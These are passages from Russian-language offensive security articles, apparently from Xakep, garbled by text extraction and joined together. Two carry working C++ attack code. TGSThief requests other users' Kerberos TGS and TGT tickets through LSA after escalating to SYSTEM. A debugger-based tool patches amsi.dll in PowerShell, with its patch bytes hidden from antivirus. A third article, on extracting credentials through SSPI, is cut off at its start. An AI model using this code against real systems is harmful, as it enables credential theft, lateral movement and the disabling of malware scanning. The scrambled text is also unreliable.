    return L"";
 }

   
  

std::wstring domainName(pSessionData->LogonDomain.Buffer,
pSessionData->LogonDomain.Buffer + wcslen(pSessionData->LogonDomain.
Buffer));
   

  
std::wstring userName(pSessionData->UserName.Buffer, pSessionData->

UserName.Buffer + wcslen(pSessionData->UserName.Buffer));
 LsaFreeReturnBuffer(pSessionData);

    return domainName + L"\" + userName;
}

Вот пол ный код прог раммы с изме нени ями:

#include <windows.h>
#include <ntsecapi.h>
#include <iostream>
#include <locale.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)

#pragma comment(lib, "Secur32.lib")

  std::wstring GetUserNameFromLogonId(LUID LogonId)
{
    PSECURITY_LOGON_SESSION_DATA pSessionData = NULL;
      if (LsaGetLogonSessionData(&LogonId, &pSessionData) != 0) {
    return L"";
 }

   
  

std::wstring domainName(pSessionData->LogonDomain.Buffer,
pSessionData->LogonDomain.Buffer + wcslen(pSessionData->LogonDomain.
Buffer));
   

  
std::wstring userName(pSessionData->UserName.Buffer, pSessionData->

UserName.Buffer + wcslen(pSessionData->UserName.Buffer));
 LsaFreeReturnBuffer(pSessionData);

    return domainName + L"\" + userName;
}

int main() {
 setlocale(LC_ALL, "");
 ULONG logonSessionCount = 0;
 PLUID logonSessionList = nullptr;

 NTSTATUS status = LsaEnumerateLogonSessions(&logonSessionCount, &
logonSessionList);
 if (status != STATUS_SUCCESS) {

     std::cerr << "Ошибка LsaEnumerateLogonSessions: " << status << 
std::endl;
   return 1;
 }

      std::cout << "Количество сеансов входа в систему: " << 
logonSessionCount << std::endl;
 for (ULONG i = 0; i < logonSessionCount; ++i) {

    std::cout << "Сеанс №" << i + 1 << std::endl;
 

 
   std::wcout << L"LUID: " << std::hex << L"0x" << std::uppercase <
< logonSessionList[i].LowPart << logonSessionList[i].HighPart << L"
" << GetUserNameFromLogonId(logonSessionList[i]) << std::endl;
   std::cout << std::endl;
 }

 LsaFreeReturnBuffer(logonSessionList);

 return 0;
}

Ре зуль тат выпол нения прог раммы

От лично! Как выг лядят сес сии, мы разоб рались. Теперь пора показать,
как зап рашива ются билеты Kerberos самой LSA. Это поможет нам под менить
LUID и получить чужой тикет.

Продолжение статьи →

https://t.me/Michaelzhm
https://github.com/OmriBaso/WTSImpersonator
https://github.com/foxlox/GIUDA
https://github.com/MzHmO/TGSThief/blob/main/tgs.cpp
https://learn.microsoft.com/ru-ru/windows/win32/api/securitybaseapi/nf-securitybaseapi-gettokeninformation
https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions
https://learn.microsoft.com/ru-ru/windows/win32/api/ntsecapi/nf-ntsecapi-lsagetlogonsessiondata
https://learn.microsoft.com/ru-ru/windows/win32/api/ntsecapi/ns-ntsecapi-security_logon_session_data
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ÊÀÊ LSA ÇÀÏÐÀØÈÂÀÅÒ ÁÈËÅÒÛ KERBEROS

Для зап роса TGS-билета LSA получа ет SPN (service principal name, иден- 
тифика тор служ бы) и переда ет на KDC. Мы можем зап рашивать билеты TGS
сами. Для это го есть фун кция .LsaCallAuthenticationPackage()

 NTSTATUS LsaCallAuthenticationPackage(
     [in] HANDLE LsaHandle,
      [in] ULONG AuthenticationPackage,
      [in] PVOID ProtocolSubmitBuffer,
      [in] ULONG SubmitBufferLength,
     [out] PVOID *ProtocolReturnBuffer,
    [out] PULONG ReturnBufferLength,
   [out] PNTSTATUS ProtocolStatus
);

Здесь
 — хендл, ука зыва ющий на служ бу LSA, который мож но

получить с помощью  или ;
• LsaHandle

LsaRegisterLogonProcess() LsaConnectUntrusted()
 — номер AP, с которым сле дует вза имо дей- 

ство вать;
• AuthenticationPackage

 — переда ваемый буфер, мы будем отда вать
;

• ProtocolSubmitBuffer

KERB_RETRIEVE_TKT_REQUEST
 — раз мер переда ваемо го буфера;• SubmitBufferLength

 — ответ от . Нам
при летит струк тура ;

• ProtocolReturnBuffer AuthenticationPackage

KERB_RETRIEVE_TKT_RESPONSE
 — раз мер буфера с отве том;• ReturnBufferLength

 — зна чение, которое будет содер жать код ошиб ки
от AP.

• ProtocolStatus

Итак, как запол нить , что бы получить билет

TGS? Струк тура выг лядит вот так:

KERB_RETRIEVE_TKT_REQUEST

   typedef struct _KERB_RETRIEVE_TKT_REQUEST {
  KERB_PROTOCOL_MESSAGE_TYPE MessageType;
 LUID             LogonId;
 UNICODE_STRING       TargetName;
 ULONG            TicketFlags;
 ULONG            CacheOptions;
 LONG             EncryptionType;
 SecHandle          CredentialsHandle;
  } KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;

Здесь
 — то, что нам нуж но получить от AP. Ука зыва ем

;
• MessageType

KerbRetrieveEncodedTicketMessage

 — LUID сес сии, от лица которой про исхо дит обра щение к AP.
Имен но в этот момент и будет под менен LUID. Проб лема в том, что если
мы под клю чились к LSA через , то у нас
не получит ся ука зать здесь LUID чужой сес сии — LSA выдаст ошиб ку 

, но если мы под клю чим ся через
, то смо жем переда вать сюда любой

желан ный LUID. И таким обра зом смо жем зап рашивать билеты из чужой
сес сии;

• LogonID

LsaConnectUntrusted()

0x5 

ERROR_ACCESS_DENIED

LsaRegisterLogonProcess()

 — здесь ука зыва ем SPN служ бы, на которую нуж но получить
билет;

• TargetName

 — опции, свя зан ные с кешем LSA. Кеш LSA — это некое
хра нили ще, в котором лежат билеты. Здесь тоже есть некото рые осо бен- 
ности. Если мы сра зу ука жем 
(зна чение для получе ния билета в фор ме , сра зу с сес сион ным
клю чом; под робнос ти — в ), то есть шанс не получить
билет. Проб лема в том, что в кеше LSA может не быть билета для той служ- 
бы, на которую мы хотим схо дить. И если мы сра зу ука зыва ем

, то LSA может прос то не вер- 
нуть никако го билета, пос коль ку воз вра щать нечего. Поэто му при дет ся
дваж ды выз вать фун кцию . Пер вый
раз — со зна чени ем , вто рой —
с .  отве чает
за зап рос билета. То есть про сим LSA обра тить ся к KDC и получить билет;

• CacheOptions

KERB_RETRIEVE_TICKET_AS_KERB_CRED

KRB_CRED

дру гой моей статье

KERB_RETRIEVE_TICKET_AS_KERB_CRED

LsaCallAuthenticationPackage()

KERB_RETRIEVE_TICKET_DEFAULT

KERB_RETRIEVE_TICKET_AS_KERB_CRED ...DEFAULT

 — жела емый тип шиф рования для зап рошен ного
билета. Ука зыва ем  — нам не прин ципи ален тип
шиф рования;

• EncryptionType

KERB_ETYPE_DEFAULT

 — исполь зует ся для SSPI, в дан ном слу чае неваж- 
но.

• CredentialsHandle

ÊÐÀÄÅÌ ÁÈËÅÒ

Мы разоб рались с тем, как работа ет зап рос билетов Kerberos на локаль ной
сис теме. Пора перехо дить к экс плу ата ции! Пол ный исходный код про екта
можешь пос мотреть в .мо ем репози тории

Сна чала мы перечис ляем все име ющиеся сес сии, для это го я соз дал фун- 
кцию . Она при нима ет ука затель на струк туру , которая

будет про ини циали зиро вана нуж ной сес сией. Фак тичес ки — у какого поль- 
зовате ля нуж но ста щить билет. Ну или не «ста щить», а получить новый, абсо- 
лют но све жий и чис тый билет для каж дого поль зовате ля.

LogonInfo() LUID

  BOOL LogonInfo(LUID* LogonSession)
{
  std::vector<LUID> logonIds;
  PLUID sessions;
  ULONG sessionCount;
      if (LsaEnumerateLogonSessions(&sessionCount, &sessions) != 0) {
    return FALSE;
 }

          for (ULONG i = 0; i < sessionCount; ++i) {
   logonIds.push_back(sessions[i]);
 }

 LsaFreeReturnBuffer(sessions);

          for (size_t i = 0; i < logonIds.size(); ++i) {
           

    
  

std::wcout << L"\t[!] Index: " << i << L", Logon ID: " << to_hex(
logonIds[i].LowPart) << ", Username: " << GetUserNameFromLogonId(
logonIds[i]) << '\n';
 }

  size_t index;
   std::cout << "\n[?] Enter index of logon session: ";
   std::cin >> index;

     if (index < logonIds.size()) {
      LUID selectedLogonId = logonIds[index];
     *LogonSession = selectedLogonId;
    return TRUE;
 }
  else {
    return FALSE;
 }
  return FALSE;
}

При мер работы фун кции

Сле дующим шагом под клю чаем ся к LSA с помощью
, что бы передать LUID чужой сес сии. Для вызова

этой фун кции нуж на при виле гия . Ей обла дает толь ко учет ная

запись сис темы. При виле гию, конеч но, мож но наз начить и руками через GPO
или с помощью .

LsaRegisterLogonProcess()
SeTcbPrivilege

Privileger

До бав ление при виле гии SeTcbPrivilege

Чувс тву ешь, что это нес коль ко неудоб но? Поэто му я добавил в код прос тей- 
ший алго ритм для повыше ния при виле гий до учет ной записи сис темы. Здесь
все стан дар тно:
1. По луча ем при виле гии 

и .
SeDebugPrivilege

SeImpersonatePrivilege

2. По луча ем токен про цес са, запущен ного от лица сис темы. Я получаю токен
с .Winlogon

3. При меня ем токен к нашей прог рамме с помощью
.ImpersonateLoggedOnUser()

Код я выделил в отдель ный файл .getsystem.cpp
Те перь у нас есть при виле гия , так как ей обла дает учет- 

ная запись сис темы. Сле дующим шагом с помощью
 получа ем номер AP Kerberos.

SeTcbPrivilege

LsaLookupAuthenticationPackage()
На конец у нас есть хендл, LUID и номер AP Kerberos. Пора ломать!
Для это го я написал отдель ную фун кцию . Она при нима ет все эти

дан ные.

AskTgs()

         
  

BOOL AskTgs(HANDLE hLsa, ULONG AP, LUID logonId, LPCWSTR szTarget,
LUID originaLuid) {
 ...
}

Сна чала готовим две струк туры — 
и . Пер вую ини циали зиру ем зна чени ями,

которые я уже опи сывал.

KERB_RETRIEVE_TKT_REQUEST
KERB_RETRIEVE_TKT_RESPONSE

 PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest;
 PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse;

      dwTarget = (USHORT)((wcslen(szTarget) + 1) * sizeof(wchar_t));
    szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + dwTarget;

  pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
  pKerbRetrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_DEFAULT;
  pKerbRetrieveRequest->EncryptionType = KERB_ETYPE_DEFAULT;

    pKerbRetrieveRequest->TargetName.Length = dwTarget - sizeof(wchar_t);
  pKerbRetrieveRequest->TargetName.MaximumLength = dwTarget;

  pKerbRetrieveRequest->LogonId = logonId;
  

  
pKerbRetrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)
pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));

  RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, szTarget,
pKerbRetrieveRequest->TargetName.MaximumLength);

И вызыва ем LSA:

     
   

 

NTSTATUS status = LsaCallAuthenticationPackage(hLsa, AP,
pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData
, &packageStatus);

Те перь LSA обра тит ся к KDC и получит новый тикет. Если мы сра зу же поп- 
робу ем его извлечь, то он не будет валид ным. Точ нее, в нем не будет сес- 
сион ного клю ча и поль зовать ся им не получит ся.

По это му, убе див шись, что вызов успешно совер шен, меня ем
 на  и обра щаем ся

к LSA.
CacheOptions KERB_RETRIEVE_TICKET_AS_KERB_CRED

    if (status == STATUS_SUCCESS) {
    if (packageStatus == STATUS_SUCCESS) {

    pKerbRetrieveRequest->CacheOptions =
KERB_RETRIEVE_TICKET_AS_KERB_CRED;
      

   
 

status = LsaCallAuthenticationPackage(hLsa, AP,
pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData
, &packageStatus);
      if (status == STATUS_SUCCESS) {
        if (packageStatus == STATUS_SUCCESS) {

          std::wcout << L"[+] Asking for TGS Success" << std::endl;
    

 
  

      std::cout << "[+] Ticket: " << base64_encode(
pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->
Ticket.EncodedTicketSize) << std::endl;

Би лет будет лежать в поле . Пред лагаю пос мотреть,

как это работа ет.

Ticket.EncodedTicket

Пред ста вим, что во вре мя пен теста мы сло мали машину, на которую ходит
поль зователь . Запус каем  и видим его сес сию.CRINGE\petka TGSThief

Пе реда ем номер его сес сии.

Ука зание сес сии

За тем про писы ваем нуж ный SPN, то есть служ бу, на которую нуж но получить
TGS-билет. И получа ем его.

Ус пешный инжект билета

Ус пех! Теперь можем ходить от лица  на .CRINGE\petka dc01.cringe.lab

TGT — ÝÒÎ TGS

Ка залось бы, получе ние билета TGS — отличный резуль тат! Но всег да хочет ся
боль шего, прав да? Зна ешь ли ты, что билет TGT — это фак тичес ки билет TGS,
но на служ бу krbtgt? Получа ется, что у нас есть TGS-билет на krbtgt, а служ ба
krbtgt поз воля ет выписы вать дру гие TGS-билеты. Вот и всё.

К такому выводу я при шел, ког да писал . Доказать про ще
прос того: вновь запус каем TGSThief, толь ко в этот раз ука зыва ем 

.

дам пер билетов
krbtgt/

cringe.lab

По луче ние TGT-билета

Бин го! Мы можем зап рашивать чужие билеты TGT! Таким обра зом, если
при пен тесте уда лось зах ватить какой-то хост, куда ходят поль зовате ли, то,
исполь зуя TGSThief, получит ся раз добыть и TGT этих поль зовате лей. При чем
билеты TGT будут абсо лют но све жие, новые, толь ко что зап рошен ные.

ÂÛÂÎÄÛ

Те перь ты зна ешь, как зло упот реблять сес сиями поль зовате лей по-новому.
Эта ата ка в оче ред ной раз под твержда ет, что на сис темы нель зя ходить
от лица адми нис тра тора домена. В про тив ном слу чае ата кующий смо жет зах- 
ватить всю сеть в счи таные минуты.

https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsacallauthenticationpackage
https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaregisterlogonprocess
https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaconnectuntrusted
https://learn.microsoft.com/ru-ru/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_retrieve_tkt_request
https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_retrieve_tkt_response
https://xakep.ru/2023/05/25/cpp-kerberos/#toc08
https://github.com/MzHmO/TGSThief/blob/main/tgs.cpp
https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaregisterlogonprocess
https://github.com/MzHmO/Privileger
https://github.com/MzHmO/TGSThief/blob/main/getsystem.cpp
https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsalookupauthenticationpackage
https://github.com/MzHmO/TGSThief
https://xakep.ru/2023/05/25/cpp-kerberos/#toc07.
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Antimalware Scan Interface — сис тема,
которую в Microsoft соз дали для защиты
от вре донос ных сце нари ев на PowerShell.
В этой статье я про демонс три рую,
как работа ет один из методов обхо да это го
механиз ма. Мы будем запус кать сце нарий
PowerShell как про цесс под отладкой, что
откро ет некото рые инте рес ные воз можнос- 
ти.

На высоком уров не AMSI хука ет каж дую коман ду или сце нарий во вре мя
выпол нения и переда ет их локаль ному анти вирус ному ПО для про вер ки. При- 
чем под держи вают ся прак тичес ки любые анти виру сы, это может быть
не толь ко стан дар тный Defender.

AMSI уме ет работать:
с PowerShell;•
Windows Script Host (  и );• wscript cscript

JavaScript и VBScript;•
VBA-мак росами.•

Проб лема такой реали зации в том, что  (в которой реали зова на вся

логика AMSI) находит ся в адресном прос транс тве текуще го про цес са.
Как следс твие, у ата кующих появ ляет ся воз можность манипу лиро вать этой
биб лиоте кой так, как они захотят сами. Уже при дума но мно жес тво спо собов
обхо да, это и amsiInitFailed, и хукинг, и пат чинг. Сегод ня мы обсу дим еще один
метод обхо да — запуск про цес са PowerShell в режиме отладки.

amsi.dll

ÑÒÀÍÎÂÈÌÑß ÄÅÁÀÃÃÅÐÎÌ

Не дав но я обна ружил инте рес ную API-фун кцию ,

которая поз воля ет нашему про цес су стать дебаг гером для дру гого про цес са.
Про тотип у нее очень прос той, ей нуж но передать лишь PID про цес са,
который тре бует ся отла живать.

DebugActiveProcess()

 BOOL DebugActiveProcess(
   [in] DWORD dwProcessId
);

К сожале нию, абы какой про цесс отла живать не получит ся. Успешный вызов
этой фун кции получит ся, толь ко если выпол няет ся хотя бы одно из сле дующих
усло вий:

у токена нашего про цес са есть ;• SeDebugPrivilege

мы можем зап росить хендл на отла жива емый про цесс с мас кой
.

•
PROCESS_ALL_ACCESS

Ка залось бы, тре бова ния более чем серь езные, но нич то не меша ет нам
запус тить про цесс  как дочер ний, а на дочер ний про цесс

наш родитель ский уж точ но смо жет зап росить мас ку .

powershell.exe
PROCESS_ALL_ACCESS

Что же нам даст ста тус дебаг гера? Единс твен ное пре иму щес тво — воз- 
можность обра баты вать Debug-события, сре ди которых

. Событие генери рует ся сра зу же, как толь ко идет

попыт ка заг рузки DLL в адресное прос транс тво отла жива емо го про цес са.
При чем будет запол нена струк тура , содер жащая

базовый адрес под гру жаемой биб лиоте ки. А с базовым адре сом уже мож но
наворо тить немало дел...

LOAD_DLL_DEBUG_EVENT

LOAD_DLL_DEBUG_INFO

Пред лагаю перей ти к прак тике. Во-пер вых, мы не можем сле по взять
и запус тить про цесс, а потом непонят но ког да при цепить ся к нему отладчи- 
ком — так есть шанс про пус тить момент заг рузки  в про цесс. Поэто- 

му про цесс дол жен быть запущен с фла гом . Во-вто рых,
из-за того, что мы никак не обра баты ваем Debug-события, при ложе ние
может упасть. Поэто му пос ле того, как про пат чим AMSI, сле дует как мож но
ско рее перес тавать быть дебаг гером.

amsi.dll
CREATE_SUSPENDED

Для соз дания про цес са я написал отдель ную фун кцию
.StartProcessSuspended()

      
 

DWORD StartProcessSuspended(LPWSTR ProcName, HANDLE& hThread, HANDLE&
hProc) {
        STARTUPINFO si = { 0 };
        PROCESS_INFORMATION pi = { 0 };
     si.cb = sizeof(STARTUPINFO);
     si.dwFlags = STARTF_USESHOWWINDOW;
     si.wShowWindow = SW_SHOWNORMAL;

         
       

if (!CreateProcess(ProcName, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {

          DWORD err = GetLastError();
     

     
       std::cout << h("[-] Cant Create Suspended Process : ") << err
<< " " << GetWinapiErrorDescription(err) << std::endl;

        return -1;
   }
     hThread = pi.hThread;
     hProc = pi.hProcess;

#ifdef DEBUG
       std::cout << h("[+] Process Created Successfully") << std::endl;
#endif

    return pi.dwProcessId;

}

Здесь допол нитель но ука зан флаг . Он нужен, что бы

powershell.exe запус калась как новая кон соль. Как буд то мы ее запус тили
вруч ную, дваж ды клик нув на исполня емый файл. Фун кция воз вра щает PID
соз данно го про цес са, а так же ини циали зиру ет хен длы, ука зыва ющие на глав- 
ный поток про цес са и на сам про цесс.

CREATE_NEW_CONSOLE

Пос ле соз дания про цес са мы дол жны при цепить ся к нему в качес тве
отладчи ка. Дела ем это при помощи фун кции .DebugActiveProcess()

 if (!DebugActiveProcess(pid))
   {

          DWORD err = GetLastError();
      

    
       std::cerr << h("[-] Failed to attach to process: ") << err <<
" " << GetWinapiErrorDescription(err) << std::endl;

        return 1;
   }

Этой фун кции тре бует ся толь ко PID, PID воз вра щает ся
из . Теперь можем сме ло возоб новлять основной
поток про цес са, не боясь про пус тить заг рузку . Пос ле возоб новле- 

ния потока про цес са сра зу же вызыва ем  и начина ем

обра баты вать отла доч ные события.

StartProcessSuspended()
amsi.dll

WaitForDebugEvent()

Фун кция  слу жит для обра бот ки всех отла доч ных

событий и име ет прос той про тотип.

WaitForDebugEvent()

 BOOL WaitForDebugEvent(
   [out] LPDEBUG_EVENT lpDebugEvent,
   [in] DWORD         dwMilliseconds
);

 — экзем пляр спе циаль ной струк туры, которая будет
содер жать информа цию об отла доч ном событии;

• lpDebugEvent

 — вре мя, в течение которо го ожи дать отла доч ное
событие. Ста вим , что бы ждать бес конеч но.

• dwMilliseconds

INFINITE

Пос ле появ ления любого отла доч ного события фун кция вер нет , а в
 будет лежать тип события. Нас инте ресу ют

толь ко  и . Вызов фун- 

кции обыч но завора чива ют в цикл , а события обра баты вают через
.

true
lpDebugEvent.dwDebugEventCode

LOAD_DLL_DEBUG_EVENT EXIT_PROCESS_DEBUG_EVENT
while

switch-case

  while (WaitForDebugEvent(&debugEvent, INFINITE))
   {

         switch (debugEvent.dwDebugEventCode) {
        case LOAD_DLL_DEBUG_EVENT:

               ...
           break;

        case EXIT_PROCESS_DEBUG_EVENT:
               ...
           break;
       }

 
 

       ContinueDebugEvent(debugEvent.dwProcessId, debugEvent.
dwThreadId, DBG_CONTINUE);
   }

Те перь нуж но убе дить ся в том, что под гру зилась дей стви тель но 

(дру гие биб лиоте ки нас не инте ресу ют). Для получе ния име ни биб лиоте ки
по ее хен длу (хендл будет лежать в ) выпол- 
няет ся фун кция . Она вер нет в свой вто рой

параметр пол ный путь DLL, который мы будем срав нивать с ори гиналь ным
мес тополо жени ем .

amsi.dll

lpDebugEvent.u.LoadDll.hFile
GetFinalPathNameByHandleA()

amsi.dll

 case LOAD_DLL_DEBUG_EVENT:
     char szName[MAX_PATH];
      
  

if (GetFinalPathNameByHandleA(debugEvent.u.LoadDll.hFile, szName
, MAX_PATH, VOLUME_NAME_DOS))
    {

  
   

       if (strcmp(szName, h("\\\\?\\C:\\Windows\\System32\\amsi.dll"
)) == 0) {

       // Подгрузился AMSI
       }
   }

На конец, прис тупа ем к пат чингу биб лиоте ки. Сна чала сох раня ем базовый
адрес заг рузки (его мож но получить из 

) в отдель ную перемен ную. Сле дующим шагом нам нуж но
получить адре са фун кций  и . Их-то мы

и будем пат чить. Есть два вари анта:

lpDebugEvent.u.LoadDll.
lpBaseOfDll

AmsiOpenSession() AmsiScanBuffer()

прос той спо соб. Гру зим в адресное прос транс тво собс твен ного про цес са
биб лиоте ку  и через  получа ем адре са нуж- 
ных фун кций. Из-за осо бен ностей DLL эти фун кции будут рас положе ны
по тем же адре сам в про цес се ;

•
amsi.dll GetProcAddress()

powershell.exe

слож ный спо соб. Ничего не гру зим в собс твен ный про цесс, а пар сим EAT
под гру жаемой в текущий момент в про цесс PowerShell биб лиоте ки .

•
amsi

Я, само собой, выб рал слож ный спо соб. Для это го вывел всю логику по пар- 
сингу EAT в отдель ную фун кцию , она при- 

нима ет хендл про цес са, базовый адрес биб лиоте ки, а так же имя фун кции,
адрес которой нуж но получить.

GetFunctionAddressFromEAT()

    
   

FARPROC GetFunctionAddressFromEAT(HANDLE hProcess, LPVOID baseAddress
, const std::string& functionName)
{
    DWORD err;
    IMAGE_DOS_HEADER dosHeader;
       

 
if (!ReadProcessMemory(hProcess, baseAddress, &dosHeader, sizeof(

dosHeader), nullptr))
   {

         err = GetLastError();
    

      
       std::cout << h("[-] Failed to read IMAGE_DOS_HEADER: ") <<
err << h(" ") << GetWinapiErrorDescription(err) << std::endl;

        return nullptr;
   }

    IMAGE_NT_HEADERS ntHeader;
     

     
if (!ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(

baseAddress) + dosHeader.e_lfanew, &ntHeader, sizeof(ntHeader),
nullptr))
   {

         err = GetLastError();
     

     
       std::cout << h("[-] Failed to read IMAGE_NT_HEADERS") << err
<< h(" ") << GetWinapiErrorDescription(err) << std::endl;

        return nullptr;
   }

    IMAGE_EXPORT_DIRECTORY exportDirectory;
     

 
if (!ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(

baseAddress) +
       ntHeader.OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,

         &exportDirectory, sizeof(exportDirectory), nullptr))
   {

         err = GetLastError();
   

       
       std::cout << h("[-] Failed to read IMAGE_EXPORT_DIRECTORY") <
< err << h(" ") << GetWinapiErrorDescription(err) << std::endl;

        return nullptr;
   }

       DWORD* functionAddresses = new DWORD[exportDirectory.
NumberOfFunctions];
    

  
ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(

baseAddress) + exportDirectory.AddressOfFunctions,
   

 
       functionAddresses, sizeof(DWORD) * exportDirectory.
NumberOfFunctions, nullptr);

       DWORD* functionNames = new DWORD[exportDirectory.NumberOfNames];
    

  
ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(

baseAddress) + exportDirectory.AddressOfNames,
           functionNames, sizeof(DWORD) * exportDirectory.NumberOfNames,

nullptr);

       WORD* functionNameOrdinals = new WORD[exportDirectory.
NumberOfNames];
    

  
ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(

baseAddress) + exportDirectory.AddressOfNameOrdinals,
   

 
       functionNameOrdinals, sizeof(WORD) * exportDirectory.
NumberOfNames, nullptr);

      FARPROC functionAddress = nullptr;
           for (DWORD i = 0; i < exportDirectory.NumberOfNames; ++i)
   {

            char name[256] = { 0 };
 

     
       ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(
baseAddress) + functionNames[i], name, sizeof(name), nullptr);

          if (functionName == name)
       {

              DWORD functionOrdinal = functionNameOrdinals[i];
              DWORD functionRelativeVirtualAddress = functionAddresses[

functionOrdinal];
  

  
           functionAddress = reinterpret_cast<FARPROC>(
reinterpret_cast<std::uint8_t*>(baseAddress) +
functionRelativeVirtualAddress);
           break;
       }
   }

    delete[] functionAddresses;
    delete[] functionNames;
    delete[] functionNameOrdinals;

    return functionAddress;
}

     PVOID addr = GetFunctionAddressFromEAT(hProc, amsiBase, h(
"AmsiOpenSession"));

Здесь идет стан дар тный пар синг EAT, прос то биб лиоте ки дру гого про цес са.
Пос ле получе ния адре са перехо дим к пат чу. Я рекомен дую исполь зовать патч

. Проб лема лишь в том, что его патч уже известен и на пос- 
ледова тель ность  могут ругать ся анти виру сы. Поэто му
пред лагаю сох ранить патч в виде пос ледова тель нос ти десятич ных чисел
и кон верти ровать шес тнад цатерич ные на лету.

Rasta Mouse
0x48, 0x31, 0xC0

       int values[3] = { 72, 49, 192 };
 char patch[3];

 std::ostringstream oss;
         for (int i = 0; i < 3; i++) {

           oss << std::hex << std::setw(2) << std::setfill('0') << values[i]
;
      std::string hexValue = oss.str();
       patch[i] = std::stoi(hexValue, nullptr, 16);
   oss.str("");
}

Сам патч при менить нес ложно — дос таточ но вос поль зовать ся фун кци ей
, которой переда дим хендл про цес са powershell.exe

и адрес фун кции, которую нуж но про пат чить. В дан ном слу чае —
.

WriteProcessMemory()

AmsiOpenSession()

    WriteProcessMemory(hProc, addr, (PVOID)patch, 3, nullptr);
   DWORD err1 = GetLastError();

    if (err1 != 0) {
         

    
std::cout << h("[-] Error patching AmsiOpenSession: ") << err1 <<

h(" ") << GetWinapiErrorDescription(err1) << std::endl;
}

Точ но таким же обра зом пат чим .AmsiScanBuffer()

     PVOID addr2 = GetFunctionAddressFromEAT(hProc, amsiBase, h(
"AmsiScanBuffer"));

      int values2[6] = { 184, 87,0,7,128,195 };
 char patch2[6];

 std::ostringstream oss2;
         for (int i = 0; i < 6; i++) {

           oss2 << std::hex << std::setw(2) << std::setfill('0') << values2[
i];
      std::string hexValue2 = oss2.str();
       patch2[i] = std::stoi(hexValue2, nullptr, 16);
   oss2.str("");
}

    WriteProcessMemory(hProc, addr2, (PVOID)patch2, 6, nullptr);
  err1 = GetLastError();

    if (err1 != 0) {
         

    
std::cout << h("[-] Error patching AmsiScanBuffer: ") << err1 <<

h(" ") << GetWinapiErrorDescription(err1) << std::endl;
}

    std::cout << h("[+] Patching Complete") << std::endl;
 goto me;

За тем нуж но как мож но ско рее перес тать быть отладчи ком. Для это го ста вим
мет ку на фун кцию .DebugActiveProcessStop()

me:
 if (!DebugActiveProcessStop(pid))
   {
     DWORD ll = GetLastError();
        

    
std::cerr << h("[-] Failed to detach from process: ") << ll << h(

" ") << GetWinapiErrorDescription(ll) << std::endl;
    return -1;
 }

Пол ный код про екта дос тупен на . Дос таточ но лишь запус тить
исполня емый файл, а он при ведет к тому, что у нас появит ся окно
powershell.exe, уже с про пат ченным AMSI!

мо ем GitHub

Ус пешный патч

ÈÇÁÅÃÀÅÌ ÈÑÏÎËÜÇÎÂÀÍÈß ÔÓÍÊÖÈÈ DEBUGACTIVEPROCESS

Фун кция , конеч но, хороша, но хотелось бы избе жать
и ее исполь зования. В нашем слу чае это воз можно: я нашел еще один инте- 
рес ный флаг, который мож но ука зать при запус ке дочер него про цес са.
С этим фла гом мы авто мати чес ки ста новим ся отладчи ком для дочер него про- 
цес са, что поз воля ет обра баты вать все отла доч ные события. Для это го дос- 
таточ но лишь ука зать в фун кции  зна чение

.

DebugActiveProcess()

CreateProcess()
DEBUG_ONLY_THIS_PROCESS

Из менен ный код фун кции

В таком слу чае часть с вызовом фун кции  мож но

заком менти ровать — она боль ше не нуж на.

DebugActiveProcess()

Ра бота ющий патч

ÇÀÊËÞ×ÅÍÈÅ

WinAPI нас толь ко огро мен, что даже самые легитим ные фичи могут помочь
ата кующе му дос тичь сво их целей. Самое глав ное — най ти нуж ную фун кцию
и понять, в какой момент к ней обра щать ся. А все осталь ное — дело тех ники!

https://t.me/Michaelzhm
https://rastamouse.me/blog/asb-bypass-pt3/
https://github.com/MzHmO/DebugAmsi
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Windows поз воля ет раз работ чикам соз- 
давать шиф рован ные каналы свя зи, под- 
писывать сооб щения меж ду кли ентом
и служ бой, аутен тифици ровать кли ента
на служ бе. Зло упот ребляя эти ми воз- 
можнос тями, мы можем извле кать учет ные
дан ные поль зовате ля без вза имо дей ствия
с LSASS. В этой статье я про демонс три рую,
как это работа ет.

Security Support Provider Interface (SSPI) — это механизм, пре дос тавля ющий
огромный набор фун кций для раз работ чиков. Сре ди его пре иму ществ:

не зави симость от тран спор та (дан ные переда вать мож но любым обра- 
зом);

•

об щий для всех SSP интерфейс;•
аутен тифика ция (в том чис ле с заимс тво вани ем прав);•
кон фиден циаль ность сооб щений (шиф рование);•
сох ранность сооб щений (циф ровая под пись).•

SSP, если ты не читал , — это набор DLL-фай лов,
который поз воля ет исполь зовать про токо лы безопас ности (NTLMSSP,
Kerberos и иные) в кли ент-сер верных про цес сах. Если силь но обоб щить, то
